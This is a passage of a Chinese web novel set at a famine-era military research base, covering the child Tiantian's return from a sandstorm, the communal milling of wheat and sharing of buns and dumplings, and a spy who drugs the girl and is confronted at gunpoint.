甜甜被抱上副驾驶,她扒着车窗,大眼睛一眨不眨地望着远处的骆驼群,用力挥动着小手,直到那些高大的身影再次变成沙脊线上一道模糊的剪影,最终彻底融入那片无垠的金色光芒之中。
卡车开动,追寻着太阳的方向,一路疾驰而去。
返程的路上,消失许久的电台终于恢复了讯号,基地内部早已因他们失联急得团团转,此刻骤然捕捉到信号、确认众人平安,欢呼的声音几乎炸开了锅。
通信兵语速飞快地汇报了情况,着重说明全员平安、物资完好,让基地提前做好卸车准备。
第59章 全员平安归队!磨盘转动那一刻,基地燃爆了
十几分钟后,车队卷着沙尘出现在地平线上。基地大门外,刘司令、王总设计师、钱教授等人早已望眼欲穿。车还没停稳,人群便涌了上来。
梁哲抱着甜甜刚跳下车,刘司令便一个大步跨上前,几乎是抢一般将小姑娘捞进了怀里。
“我的乖乖哟!有没有吓着?哪里磕着碰着没有?”
老司令像疼自己的亲孙女似的,将甜甜从头到脚仔细检查了一遍。钱教授和王总设计师也都围拢过来,目光里全是对甜甜的关切和疼惜。
直到三位大佬亲自确认了,甜甜除了小辫子被风沙吹得乱糟糟的,小脸有点冰凉之外,身上没有一点磕碰,悬了一夜的心这才重重落下。
刘司令猛地转过身,没好气地给了梁哲一拳,力道没控制,把梁哲捶得踉跄后退了好几步。
“啷个伢子,你是疯了吗!昨天刮的是什么鬼风,你还敢把孩子弄出去,要是出了半点岔子,你拿什么赔?!啊?!”
梁哲低着头,其实他自己后怕得要命,刚才那一拳挨得心服口服,他不敢辩解,只是闷声应道:“司令,是我的错。”
白旅长快步从后面赶上来,主动上前半步:“司令,这事不怪梁哲,责任全在我……”
“你就没责任了?”刘司令猛地转头,脸色铁青地打断他,“白树勇同志,你是老**了,这点风险你心里没数?遇到这种极端天气,难道凭你们的经验就找不到避险的路?非要让甜甜那个孩子去冒险?”
白旅长脸上露出愧色,“司令,实不相瞒,当时的情况,我们这些大人的经验确实不管用。要是没有甜甜,这次恐怕不仅仅是被困这么简单,二十多条人命能不能保住,真的很难说。”
“她救了我们所有的人。”
空气骤然安静。
刘司令盯着他,又缓缓看向梁哲怀里正懵懂眨眼的甜甜,胸口剧烈起伏了几下。
王总设计师轻轻拍了拍白旅长的肩膀:“老白,司令昨夜接到消息时,车队已经出发了。他急得一宿没合眼。守在通讯室里,就怕听到半点不好的消息。”
钱教授也温声开口:“是啊司令。咱们小囡囡这次,可是逢凶化吉,有惊无险!现在所有人都平安回来了,简直是奇迹。”
“对!甜甜真是太了不起了!”
“不愧是咱们的小福星!”
基地有甜甜,真是天大的福气!”
周围的人也纷纷附和,七嘴八舌地夸赞着甜甜。
刘司令长长吐出一口浊气,脸色终于缓和了些。他伸出粗糙的大手,轻轻摸了摸甜甜的头顶:“下不为例。往后再有这种危险任务,必须提前报告,经我批准!”
“是!”白旅长与梁哲同时立正敬礼,声音斩钉截铁。
“还有,”他非常严肃地看着甜甜的大眼睛,“给爷爷记住了,无论什么时候,安全第一,不许再让大人这么担心了,听到没有?”
“知道了,刘爷爷。”甜甜搂着刘司令的脖子,把小脸偎在他怀里,乖巧地点头。
刘司令这才满意。
他的视线转向那三辆满载石磨盘的军车,眼中闪过一丝豪气:“卸磨盘、磨麦子!今晚——给全基地蒸白面馒头吃!”
“是!”战士们的欢呼声瞬间响彻基地上空。
为了卸磨盘,基地早就调过来大型起重设备,在战士们的协助下,很快,就将五套石磨和三个手推磨全都给搬进了磨坊。
负责试机的战士握住磨杆,用力一推,磨盘缓缓转动起来,发出沉闷而均匀的“隆隆”声,这声音回荡在广袤的天地间,不似号角却胜似号角,听得在场所有人都心潮澎湃,热血沸腾。
“成了!磨盘装好了!”不知是谁喊了一声,磨坊内外立刻爆发起热烈的欢呼声。
这间磨坊原是临时仓库,此刻里三层外三层挤满了人。门窗虽已全部打开,仍挡不住扑面而来的热气。试磨的战士们额头上很快沁出细密的汗珠,顺着黝黑的脸颊滑落,他们也顾不上擦拭,只是咧着嘴笑,眼里满是憧憬的光芒。
最让人期待的磨麦子环节开始了。
早已晒干扬净的麦粒被战士们扛进磨坊,麻袋一开,清新的麦香瞬间弥漫开来。小战士们争先恐后,都想抢着第一个成为添麦子的人。大家正抢得不可开交,不知灵机一动喊了一嗓子:“让甜甜来!”
众人恍然大悟,立刻自发让出一条通道。
梁哲把甜甜抱在怀里,把着她的小手,舀起了一瓢麦子,对准了磨顶的料斗。
“爸爸,这是干什么呀?”小姑娘不谙世事,天真地问。
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>“宝贝,把麦子倒进去,就能磨出面粉了。有了面粉,就可以给甜甜蒸馒头吃。”
“馒头?那是什么呀?”
甜甜出生在饥荒开始的年代,从她一岁起,家家户户基本就断了细粮,因此她连馒头长什么样子都没见过。
梁哲心头一酸,把孩子又搂紧了些,宋大壮在一旁笑道:“多亏了甜甜,帮叔叔阿姨们找到了麦田,又从沙暴里拖回了磨盘。这磨出的面粉蒸成的馒头啊,可比窝头好吃百倍,保管甜甜一吃就喜欢!””
甜甜一听,大眼睛立刻亮了起来,“太好了,爸爸也要吃馒头!”
“放心,每个人都吃得上。”梁哲疼爱地亲了亲女儿的脸蛋,“这才是第一顿,往后还会有更多好吃的,这都是甜甜的功劳。”
“那甜甜要磨麦子。”
“好。你把它倒进去,马上就能磨出来了。”
甜甜听完,高兴地举起葫芦瓢,哗啦啦的声音响起,几名战士立刻推动磨盘,咯吱咯吱地转动了起来。
很快,麦粒便被一点点碾碎,麦麸顺着磨盘的缝隙分离出来,落在旁边的布兜里,而洁白的面粉则像初冬的薄雪,从磨缝间源源不断地洒落在下方的大布兜中。
“出粉了!出粉了!”小战士们兴奋地叫起来。
有人小心翼翼地用手指捻起一点面粉,放到鼻尖深深一嗅,随即闭上眼睛,脸上露出近乎陶醉的神情。
甜甜趴在梁哲怀里,好奇地看着这神奇的一幕,大眼睛里满是好奇。“爸爸,甜甜也想摸摸。”
立刻有人捧了一小撮递到她面前:“甜甜,给!”
甜甜伸出小手指,沾了一点面粉就往嘴里送,被梁哲急忙拦住:“乖,这是生面,不能吃,要做熟了才可以。”
周围的人也都凑过来围观,大家看着洁白的面粉像瀑布般涌出,一个个都眼底放光。
“这面粉比我老家镇上卖的都白!”
“可不是嘛!之前吃的苞米面、高粱面,跟这个比差远了!”
“今晚就能吃上白面馒头了,想想都香!”
空气中的麦香越来越浓郁,大家你一言我一语地说着,磨房里热闹得像个集市。
就连一向沉稳的李桂华都沾了面粉,抹在甜甜的小鼻尖上,逗得小姑娘咯咯笑个不停。
第60章 蒸馒头啦!整个基地都香疯了!
没人愿意错过这难得的场面,磨房里挤不下了,大家就守在门口,不一会,磨坊前就排起了长队——
不是要领东西,是等着推磨。
“班长,让我推一会儿!”
“去去去,我刚上手,还没出汗呢!”
“王二虎你推了十分钟了,该换人了!”
“十分钟哪够?这磨盘得推热了才出好面!”
争抢声、笑声、磨盘的隆隆声交织在一起,热火朝天。每个换下来的战士都舍不得离开,就围在旁边看。
后勤部长赵有田不知什么时候出现在队伍里。他挽起军装的袖子,露出结实的小臂。“让开,我来。”
战士们笑着让出位置。赵有田是个老把式,他握住磨杠,腰马一沉,石磨转动的节奏,和面粉落下的速度同时加快几分,周围的战士们立刻鼓起掌来。
“赵部长,好样的!”
“赵爷爷真棒!加油!”连甜甜都挥舞着小拳头,奶声奶气地替他鼓劲。
赵有田一听小福星为自己呐喊,推得更卖力了。
“甜甜乖,看赵爷爷磨好麦子,给你擀面条吃。”
“哇,面条是什么呀?”甜甜又有了新问题。
刘司令背着手站在门口,脸上笑呵呵的,眼神一片温和。钱教授蹲在接粉台旁,用手捧起一捧面粉细细端详,又让粉末从指缝间缓缓流下,专注得如同在审视珍贵的实验样本。
“成色真不错。”他由衷赞叹,“司令您看,这面粉又细又白,是上等货。”
“那是咱们的麦子好,大伙儿磨得也细。”王总设计师笑着接话。
有的战士磨完面,手上沾了不少粉,索性在脸上抹了一把,逗得众人哈哈大笑。很快,不少人脸上都多了几道俏皮的白印子。
磨好的面粉被仔细筛过后,由战士们小心翼翼地装进布袋,一袋袋扛出磨坊。炊事班早已准备就绪,清水与面盆摆成一列。面粉一到,和面工作立刻开始。
“好久没看见和面的光景了,真叫人怀念。”
白旅长从一名炊事员手中接过围裙,挽起袖子,亲自上手揉面。那双布满枪茧的大手将面团揉搓、摔打,动作竟出奇地娴熟。
“看不出来啊,咱们白旅长还有这一手?”王总设计师笑着调侃。
“当年在延安,给**们帮过厨。”白旅长头也不抬,继续揉着面,“这蒸馒头,关键就在揉。揉透了,蒸出来才喧腾,有嚼劲。”
甜甜瞧见了,也跃跃欲试。小姑娘还没见过这么有趣的“游戏”呢。
“爸爸爸爸,甜甜也要玩。”
要是换了其他孩子,肯定会被大人们呵斥——这么金贵的粮食,你别给糟蹋了。可甜甜是谁?这片麦田都是小福星发现的。
刘司令当即大手一挥:“玩!想怎么玩就怎么玩,想玩多少玩多少!”
梁哲赶忙抱住女儿:“甜甜,让爸爸来教你。”
化工组的李工早已备好一个小面盆,递给甜甜:“好孩子,甭管你最后揉出个啥,李爷爷都保证咽得下去!”
甜甜乐的直拍小手,她把面粉和水胡乱掺在一起,学着大人的样子,笨拙地捏来捏去。折腾了半天,终于弄出了一个四不像的东西——既不像兔子,也不像乌龟。
甜甜指着自己的“作品”,奶声奶气地宣布:“这是甜甜做的小怪兽!”
大家看着那个奇形怪状的面团,都忍俊不禁。现场已经有好几个人提前“预订”了这个小怪兽,甚至争着要第一个吃。
炊事班的邢嫂带着女炊事员们也和了好几大盆面。大家将揉好的面团做成馒头,整齐码进蒸笼。灶膛里的火苗噼啪作响,烧得正旺。雪白的蒸汽汹涌而出,携着诱人的麦香,瞬间弥漫了整个炊事班。
“快了快了!上汽再蒸十五分钟就熟透了”邢玉秀笑着擦掉额角的汗。
这边热火朝天地蒸着馒头,那边,一班长带着两个小战士悄悄摸进了后灶。
他怀里揣着一个鼓鼓囊囊的蓝布包,动作小心翼翼,像是护着什么稀世珍宝。
前天出发去市里时,他特意取出了自己攒了半年的津贴,又把家里寄来、一直舍不得用的肉票全都带上。趁给采购磨盘的间隙,他绕到供销社肉铺,软磨硬泡半天,才割到一块两斤多重的五花肉。
有了肉,却没有菜。基地蔬菜紧缺,平时吃的多是晒干的咸菜萝卜干,新种的菜还没到收获的时候。他又多方打听,终于找到一位菜农,高价买回两棵自家留种的大白菜。
这点东西被他当宝贝似的护了一路,直到今天,总算能派上用场了。
等他小心翼翼打开布包,李大嘴一见,眼睛立刻直了:“老天!你从哪儿搞来的?”
这可是肉啊,和金疙瘩一样稀罕。整个基地已不知多久没闻过荤腥了。
一班长黝黑的脸涨得通红,他挠挠头:“我们几个凑了凑津贴和肉票,从市里弄来的。”顿了顿,他又压低声音,“李哥,别声张。肉不多,就够包几盖帘饺子……给**们,还有甜甜,解解馋。
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”
李大嘴看着案板上的肉和菜,眼眶忽然有些发热。他重重拍了拍一班长的肩膀,什么也没说,转身从案板上抄起了刀。
肉被仔细剁成馅,白菜焯水,挤干,剁碎,混入肉馅里,再调好味道,很快就搅拌出无比诱人的味道。
李大嘴把手一挥,看着一个个面露笑容的战士,“还愣着干啥,动手啊,包饺子!”
这边饺子的面皮还没擀完,灶台前的蒸气已扑了满屋。
有人扯着嗓子高喊一声:“馒头好喽——!!!”
“轰”的一声,人群全都站了起来。
蒸笼被一层层抬下,放在长条案板上。笼盖掀开的瞬间,白色的热浪扑面而来,露出笼屉里一个个白胖鼓胀的馒头,带着一股醉人的麦香。
邢嫂子系着围裙,站在蒸笼前高声招呼,“排队!都排好队!人人有份!”
说着,她用长筷子夹出第一个馒头,放到了甜甜的搪瓷缸子里。
“乖宝贝,你先吃,小心烫啊。”
甜甜看着细白喧软的大馒头,喜得直拍小手,“爸爸,好香好香!”
梁哲赶忙撕下一小块,一边吹着,一边送到女儿嘴边:“慢点,别烫着。”
“哎哟梁哲你这喂法不行,我来我来。”王总设计师瞧他那生疏的样子,急忙把甜甜抱到自己腿上,“爷爷喂。咱们小福星立了大功,就该吃第一口。”
“哎呀梁哲你不会喂,我来我来。”
“哇,馒头好好吃!王爷爷,甜甜喜欢!”
“喜欢就多吃,管够!”
“来来来,再喝点汤,别噎着。”刘司令端过李大嘴特地熬的鱼汤——必须得给甜甜补上最好的营养。
“乖囡,还有个好消息要告诉你。”钱教授也笑眯眯地凑过来,“你上回捡回来的那几只鸭蛋,这两天就该破壳了。等小鸭子孵出来,钱爷爷抱你去看。”
“真的?”甜甜眼睛唰地亮了,“好呀好呀,甜甜可以和小鸭子玩啦!”
“真的?”甜甜眼睛亮了,“好呀好呀,甜甜可以和小鸭子玩了。”
“瞧瞧我分到了什么?”赵有田举着一个造型奇怪的馒头,正是甜甜亲手包的。
甜甜立刻笑了,指着那个“丑八怪”,“甜甜包的不好看,像小怪兽。”
“谁说不好看。”赵有田立刻板着脸纠正,“甜甜包的最好看,不但好看,还好吃。”
说着,他撕下一块塞进嘴里,向众人笑道:“各位**,我可沾了咱们小福星的福气了。”
第61章 暖人心,没人抢饺子,全都往小奶团碗里送!
小奶团被一众大佬围在中间,这个喂口馒头,那个喂勺汤,吃得心满意足,幸福得眼睛都眯成了月牙。
梁哲这个亲生父亲,反倒被“排挤”到一边了。
香、太香了,久违的松软的口感,比那些吃下去拉嗓子的粗粮强了不知多少倍。当梁哲咬下一口热腾腾的馒头时,也忍不住心生了陶醉之间。
他望着女儿吃得香甜的小脸,又看了看手中的馒头,眼眶微微发热,忍不住想起了过世的妻子。
淑芬,谢谢你把甜甜带到我身边,谢谢你让她给我们带来了这么金贵的粮食。要是你也能在这儿,该多好啊……
食堂里的喧哗声不知不觉低了下去。每个领到馒头的战士和科研人员都安静下来,细细品味这来之不易的精细粮食。这不是掺了糠的窝头,也不是粗糙的杂粮碴子,而是实实在在、松软香甜的白面馒头。
好几名战士吃得哽咽,科研人员也摘下眼镜,悄悄拭去激动的泪花。
就在这时,炊事班的门又被推开了。
李大嘴和几名炊事员端着几个大盘子走了出来,上面是一个个煮好的饺子。圆鼓鼓、热腾腾,混合着肉菜的鲜香,霸道地冲散了原本的麦香气。
整个食堂瞬间安静了。所有目光都聚焦在那几盘子的饺子上,随后,又不约而同地转向刘司令、钱教授他们所在的小桌子。
“各位**,”李大嘴满脸笑容,“这是一班长他们几个凑钱凑票,专门弄来的一点肉和菜,让我们包成了饺子,给**们和甜甜尝尝鲜。”
说完,他放下饺子,笑嘻嘻地看向一班长。
一班长不好意思地低下头,“司令,肉实在不好搞,就弄来了这么一点,您别嫌弃。”
刘司令看着眼前的饺子,又抬眼环视四周。战士们都微笑着望过来,眼中没有嫉妒,更没有疑议。
在他们心里,深知这些**们的付出:他们与战士们同吃同住,从不搞特殊,有事往往冲在最前。如今好不容易有点饺子,犒劳一下自己,怎么了?
“**,快吃吧,一会饺子凉了。”
“是啊一班长,你怎么不早说?我的津贴也能凑一份!”
“我还有点肉票,就是不好买,下回谁去,告诉我一声。”
“我也同意捐肉票。”
老司令摇摇头,向一班长招了招手。一班长小跑过来,心里还有点打鼓。“司令,您别骂我……这是我自作主张的。**们辛苦,甜甜也受了风吹,该吃点好的补补……”
“你这个伢子啊……”刘司令叹息一声,伸出大手拍拍他的肩膀,“我们辛苦,同志们就不辛苦?这里每一个人,都在为祖国奉献,每个人都辛苦!”
“战场上,一个冻土豆分着啃,那是没办法。现在,有一点肉,你就让我们关起门来自己吃,搞特殊?你把我们当成什么了?”
他转过身,拿起甜甜的搪瓷缸子,夹子五个饺子,放在甜甜的碗里,“这里五个饺子,我、王总、钱老,再加一个老赵同志,还有小甜甜的爸爸,一人一个。”
“其余的嘛,”他看向李大嘴,“你给我按人头分下去。有多少个饺子,就分给多少个人,让大伙都尝尝味道。”
“不分**,不分官兵,也不单独给谁开小灶。今天在食堂的每一个人,包括炊事班的同志,还有马上来换岗的同志,人人有份。”
说完,他看着一旁愣住的李大嘴,“你还在这里发么子呆!要等饺子凉了吗?”
“司令……这……”
“搞么子!执行命令!”
“是!”
李大嘴喉结滚
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动,把涌到嘴边的话咽了回去,端起盘子就要走。走了两步,又转身夹出一个饺子,轻轻放进甜甜的缸子里。
“这是我的那份,给甜甜。”
他走下去,开始一人一个分饺子,白旅长走过来,一言不发,把自己的饺子也放在甜甜碗里。
李工同样如此,夹起自己的那份,给了甜甜。
甜甜面前的饺子渐渐堆了起来,小姑娘还不知道发生了什么事,更不知道饺子是什么。
“爷爷,这是什么呀?”
“是饺子。”钱教授温柔地说,用勺子盛起一个,小心地吹了吹,“乖囡,尝尝吧,以后咱们基地条件好了,就能经常吃饺子了。”
“爷爷,你们怎么不吃啊?”
“你吃了,就是爷爷们吃了。”
“是啊,”刘司令将甜甜抱在怀里,“我的乖乖,你是咱们全基地的福气。你好了,我们全基地就都好了。”
“**——”
不知道是谁先开始鼓掌。
起初是零星的,迟疑的,很快就连成了一片,雷鸣般响彻食堂。
大家看着碗里那只小小的、香气扑鼻的饺子,眼中闪动的并非食欲,而是感动的泪光。
在这群人中,有两位特殊的客人。一位是沈若文,她脚上的伤比之前已经消肿不少,在李桂华的搀扶下,也来到了食堂。
她的碗里不仅有难得一见的白面馒头,竟也分到了一只饺子。
没有人因她来自镇上而区别对待,她享受的,是和所有人一样的待遇。
而另一边,高衍舟一边咬着馒头,一边凝视着碗里的饺子,大家见他沉默不语,以为他是担心郑宏教授的病情。但高衍舟却笑了笑,没做过多解释,只是目光盯着被所有人围在一起的甜甜,用力地咽下了口里的馒头。
第62章 疑云突起,修路埋种子,试车进入倒计时
麦子的事情告一段落,过程虽然艰险,但最终大家收获了麦田,得到了果实,还改善了基地的口粮。
从这天起,基地的主食就不只有棒子面等粗粮了,而是馒头、手擀面条,发面大饼,面疙瘩汤等轮番上桌。全体人员每天吃得心满意足,之前的饥黄的面色也渐渐褪去,换成日益红润的气色,精神头也更加饱满。大家都说,自从小甜甜来了,整个基地的“气运”都旺了起来。
赵有田还报告了个好消息,之前的红薯地上,种植的南瓜、白菜、胡萝卜还有小米,全都长势喜人,预计再有个把月,就能收成了,这意味着自己自足的蔬菜供应也能解决了。
好消息一个接着一个,在第二天的碰头会上,钱教授宣布,实验场的最终结果已全部复核完毕,新燃油完成填装,“长剑”工程发动机地面试车即将正式开启!
话音刚落,在座的所有人立刻响起了热烈的掌声。
发动机试车是**研发的核心项目之一,这一步成功,就意味着他们离目标又近了一大截。
就在会议临近尾声,部署完试车前后各项警戒、保障、观测任务后,梁哲举起了手。
刘司令冲他点头示意。
“各位**,我有个想法,想提请会议讨论。”梁哲站起身,目光扫过在场众人,“无论是之前护送郑教授紧急就医,还是这次车队在沙暴中遇险,都暴露了一个关键问题,咱们缺少一条通往外界的路。一旦遇到险情,物资和救援进不来,人也难顺利出去。”
梁哲的话说到了不少人心里。大家不是没考虑过这事,只是受条件限制,一直没摆到桌面讨论。
既然梁哲提了,众人便有了讨论的契机。
白旅长率先表示支持:“梁哲同志提出的问题非常实际。这次救援,如果没有骆驼,后果不堪设想。对于基地来说,一条好路在战时是生命线,平时就是发展线。我支持这个想法。”
王总设计师推了推眼镜,沉吟道:“从长远发展看,这确实是必须解决的瓶颈。无论是科研设备进出,还是未来成果转化、人员交流,都需要一条好路。而且今后要做外场测试,测试设备和人员的快速机动部署,也得靠可靠的道路保障。”
但现实的困难也随之被摆上台面。
主管后勤的赵有田眉头紧锁,第一个泼了冷水:“修路?谈何容易!司令,各位,不是我唱反调。咱们盘盘家底:水泥,没有;沥青,更没有。专业的筑路机械,一台也没有。全靠人力?咱们总共就这么些人手,地里活、警卫任务、科研辅助,哪一样能停?”
“再说,这戈壁滩上修路,沙子下面是啥你都不知道,今天修好,明天一场风沙可能就给埋了半截!”
化工组的李工也补充道:“赵部长说得对。修路不是光有决心就行。勘察、设计、路基处理、路面铺设,每一环都需要专业知识和材料。咱们现在最缺的,一是粘合材料,二是重型压实设备。就算用土办法寻找替代黏合材料,也需要时间解决啊。”
钱教授听到这里,缓缓开口,“各位,从科研角度,我完全理解这条路的重要性。但目前‘长剑’发动机试车在即,这是当前压倒一切的中心任务,需要集中所有人力、物力保障。修路是一个庞大的系统工程,不可能一蹴而就。”
众人你一言我一语,把修路的困难一一摆了出来。建材短缺、人力不足、缺少大型设备、后勤压力大,每一个都是短期内难以解决的硬骨头。会场再次陷入沉默,大家都清楚修路的重要性,但也清楚现实的阻碍。
刘司令沉默地听了许久,直到大家都说得差不多了,才抬手示意安静。
“梁哲看到了问题,提得好。同志们讲的困难,也都是实情。饭要一口一口吃,路,也要一步一步趟。”
他的视线看向众人:“这样,修路这件事,今天不定具体方案,不设硬性时限。暂时列为基地未来发展的重要项目,作为远景规划。由工程
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组牵头,后勤部协助,在不影响‘长剑’工程的前提下,提前做些前期准备工作。”
王总设计师接口道:“司令说得是,我们现在虽然条件不够,但路线勘察、材料整合这些工作,可以慢慢做起来。等发动机试车通过,各项研发进入稳定阶段,再用手上资源逐步推进。眼下,一切还是要为‘长剑’让路。”
“没错,修路是百年大计,不能急于一时,我们既要正视问题,也不能冒进。”钱教授表示同意。
王总设计师笑了笑:“说不定等咱们的发动机真转起来了,有了稳定动力,将来还能自己搞点小型筑路设备。事情总要一步步来。”
“对,”刘司令一锤定音,“路要修,但不是现在。让它作为我们下一个阶段的目标。”
会议结束。修路的提议像一颗种子,被埋进了基地未来的蓝图里。它需要时间,需要机会,或许还需要一点这个基地特有的“运气”来催生。
而现在,所有人的注意力和精力,都投向即将发出轰鸣的实验场。那里,才是决定基地近期命运的关键。
三天后,科研团队与核心工作人员全员开拔,进驻实验场,为发动机地面试车做最后的冲刺准备。这一次,甜甜获得了特许,被一众专家大佬簇拥着,把实验场里里外外仔细巡查了一遍。
最后,她搂住钱教授的脖子,小大人似的宣布:“钱爷爷,放心吧,这里没有危险啦,大管子全都好了。”
这一句童言稚语,无疑于给试车上了道双保险,让所有人都吃下了一颗定心丸,刘司令当即大手一挥,敲定了17日上午十点作为试车时间,随后便安排专人,将甜甜安全送回基地。
——毕竟实验场的危险是真实存在的,哪怕准备得再充分,谁也不敢保证万无一失。
甜甜回到基地后,照例交给了李桂华照顾。但此时,有一个人以“特别喜欢孩子”的名义,开始频繁接近甜甜。
这个人,正是沈若文。
第63章 变故陡生!敌特撕下伪装,甜宝被迷晕!
沈若文在基地养伤期间,凭着一双巧手,给女战士们画花样、绣手帕、织围巾,跟不少人都相处融洽,尤其是同屋的邢玉秀,对她更是照顾有加。
而甜甜本就在基地里人人喜爱,沈若文更是一有空就来陪小姑娘玩。
虽说甜甜天生聪慧,可打小身边就缺少同龄的玩伴,就算基地里的大人们把她宠上天,也只会陪她玩些简单的游戏,例如堆沙子之类的。故事翻来覆去也就那么几个,早就满足不了孩子猎奇的天性。
沈若文的出现,为她的生活带来了全新的色彩,每次见面,沈若文都能变着花样逗小姑娘开心。
比如抽出一块手帕,三折两折变成一只小老鼠,让甜甜对着吹气。
甜甜虽然不懂,还是乖乖鼓起腮帮子一吹——那小老鼠竟在她掌心向前一窜,“嗖”的一下,仿佛活了过来。
甜甜从没见过这样新奇的小游戏,乐得直拍手:“好厉害!阿姨,让小老鼠再跑一次!”
“那你再吹一口气呀!”
“好!”甜甜又用力吹了口,小老鼠再一次窜出去,沈若文故意装作抓不住它,让“小老鼠”在掌心里四处“乱窜”。甜甜被逗得哈哈大笑,捂着肚皮直不起腰。
除了折纸,沈若文还会演皮影戏。两只手一搭,手指灵活地动几下,一会变出展翅的鸽子,一会变出蹦跳的小狗,一会又变出开屏的孔雀。
甜甜看得目不转睛,缠着她一遍又一遍的表演。
除此之外,纸青蛙、纸鹤、纸小马……她都信手拈来,甚至还会折小船,放在洗脸盆里让小船顺着水流漂流,看得甜甜眼睛都直了。
不过短短几天,沈若文就凭着这些新奇的玩法,彻底俘获了甜甜的心。就连晚上睡觉,甜甜都会在梦里喃喃:“沈阿姨,还要小船船……”
负责照看的李桂华,倒显得有些“失宠”了。她是个实在人,不会那些新奇花样,只会织毛衣、纳鞋底,讲些老一辈传下来的朴实道理。孩子自然更亲近能陪自己尽情玩耍的人,很快成了沈若文的“小尾巴”。
不过,李桂华并未放松警惕。就算甜甜和沈若文玩得再开心,她也始终寸步不离地守在旁边。上次甜甜偷跑出去的事让她心有余悸,这回任凭孩子怎么撒娇,她也绝不让孩子离开视线。
十七日上午,整个基地笼罩在一种紧绷的氛围中。距离“长剑”发动机首次全系统试车还有不到两个小时,所有基地留守人员都怀揣着激动又忐忑的心,静静等待着这一刻的到来。
就连一贯沉稳的李桂华也有些心神不宁,不时抬头望向实验场的方向,期待着从远方传来的好消息。
沈若文吃完早饭,又拄着拐杖来看甜甜,甜甜正坐在床上玩万花筒,这也是沈若文的手艺,用三块玻璃粘成菱镜,里面放着剪碎的糖纸,阳光一照,色彩斑斓,别提多好看了。
沈若文对李桂华笑了笑,坐到床前陪甜甜一起玩。李桂华则坐在门口,一边机械地编织着毛衣,一边留意着广播里传来的动静。
时针刚过九点,一阵急促杂乱的脚步声猛然撕裂宁静。
紧接着,广播喇叭里爆发出焦急的呼叫:“高技术员!高技术员!请速到水塘集合!塘底发生管涌!重复一遍,请高技术员速到水塘集合!管网工程发生管涌!”
李桂华脸色骤变,豁然站起。沈若文也停下动作,望向窗外。
“出事了!”一名小战士气喘吁吁地从营房前跑过,沿途大声疾呼,“水塘漏水了!水流倒灌!快去找高技术员!”
李桂华心头猛地一沉。发动机试车正处于关键时刻,主力都在前线,后方灌溉工程竟突发险情,这对基地而言无疑是致命的隐患。
一旦水塘决堤,后果不堪设想。
她的担忧也是所有留守人员的担忧。外面脚步声、呼喊声迅速增多,显然剩余人员都被惊动了。
就在这时,广播里传出一个声音,瞬间压住了嘈杂:“同志们,我是高衍舟。情况我已掌握,现在所有人听我指挥!”
自郑宏教授住进医院,高衍舟便是项目的临时负责人,他的声音一出,原本慌乱的人群瞬间静了几分,所有人都下意识地停下脚步,等着他的安排。
“管网系统发生管涌,很可能冲击到邻近的几处主输水管线,
所有管网组在岗人员,工程一队、二队,还有后勤保障组能抽调的人员,全部到水塘集合!”
“准备沙袋、水泵、应急堵漏材料!通知机修班,把焊机、切割机全部拉过去!测绘组带上图纸和水压监测设备,五分钟内到位!”
他的指令清晰明确,生活区里能调动的人员几乎倾巢而出,朝着水塘方向奔去。短暂的喧嚣过后,营房周围陷入一片反常的死寂。
沈若文听着外面迅速平息的动静,脸上流露出担忧的表情:“李姐,好像真出大事了,您不去看看?”
李桂华摇头,目光没离开甜甜:“我不懂技术,去了就是去添乱。还是在这里陪着甜甜吧
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。”
“也是。”沈若文点头,转而看向甜甜,“甜甜,你要不要去看热闹呀?”
甜甜还没来得及回答,李桂华便蹙起眉头,语气中带着明显的不悦:“沈记者,前方正在抢险,你让这么小的孩子去凑什么热闹?”
“李姐,别误会。”沈若文抿唇一笑,眼神却意味深长,“甜甜可不是普通的孩子,不是吗?”
“你什么意思?”李桂华警觉地眯起眼睛。
“没什么意思,”沈若文一脸无辜,“我只是觉得,说不定甜甜看上一眼,就能看出门道,到时候再大的险情也能迎刃而解了。”
李桂华心中警铃大作。理智告诉她沈若文的话未必没有道理,以甜甜的特殊能力,或许真能帮上忙。但一种强烈的直觉却在警告她:绝不能让甜甜卷入此事,否则必将危及孩子的安危。
想到此,李桂华脸色沉了下来,冷声道:“沈记者,你还是先回房休息吧。我们这里离水塘近,万一决堤,我得带甜甜避险。你脚伤行动不便,还是回去更安全。”
这番话,明摆着是逐客令。
沈若文也不恼,笑吟吟地应道:“好,既然李姐发话了,那我就不打扰了。”
她弯下腰,揉了揉甜甜的小脑袋,柔声说:“宝贝,沈阿姨要回去了,和阿姨说再见。”
甜甜攥着万花筒,眨着水汪汪的眼睛,一脸不解:“沈阿姨,你不陪甜甜玩了吗?”
“下次再陪你,乖。”沈若文笑着,伸手把甜甜抱进怀里,在她软乎乎的小脸蛋上亲了亲。
李桂华看着她对甜甜宠溺的样子,心头的不快稍稍散去,她拿起桌上装沙棘果的碗,“沈记者,这些果子你带点……”
话音未落,变故陡生!
沈若文突然从口袋里掏出一块手帕,猛地捂住了甜甜的小口鼻。
这一下猝不及防,甜甜连挣扎的机会都没有,小脑袋一歪,瞬间昏睡在沈若文肩头。
“哐当!”李桂华手中的碗应声落地,鲜红的沙棘果滚了一地。
“沈若文!你干什么?!”李桂华目眦欲裂,想也未想,条件反射般从怀中掏出**,枪口直指沈若文!
——她虽是文职出身,但多年的军旅生涯早已让她练就了一手好枪法。
沈若文见到枪,眼中闪过一丝诧异,随即转为讥讽:“好啊,李姐,原来你们早就防着我了?”
“你果然有问题!”李桂华厉声道,“司令早就嘱咐我暗中提防你!没想到你真是特务!”
第64章 致命伪装!勤务兵是内鬼!怀孕邢嫂惨遭灭口
“特务?别说得那么难听。”沈若文轻轻拍着怀中昏迷的甜甜,语气冷诮,“我也是大夏人,不过和你们的目的不同罢了。”
“呸!你也配说自己是大夏人!”李桂华踏前一步,枪口死死盯着她,眼底的怒火几乎要喷出来,“甜甜才几岁,你居然对她下手,你还是人吗?!你用什么迷得她?但凡有点良心,就立刻解开!”
“不过是一点**,放心,伤不到你们的心肝宝贝。”
“**?”李桂华脑中寒光一闪,江国强被救时,看守的卫兵就是被**放倒的,当时在万洪辛身上搜了半天,也没找到**的踪迹。
难道……
沈若文和万洪辛本就是一伙的?她的脚踝受伤,从一开始就是一场苦肉计?
想到此处,李桂华只觉后背发凉,自己似乎已经触到那个十分危险的真相。但此刻不容她多想,甜甜在对方手里,孩子的安全才是最重要的。
她咬着牙,厉声命令:“把孩子放下,退后,举起双手!”
“李姐,我劝你还是放下枪。”沈若文轻轻晃了晃怀中的甜甜,语气带着威胁,“别一个不小心,误伤了孩子。”
“你也看到了,我对甜甜是真心的,只要你肯配合,我不会为难你们。”
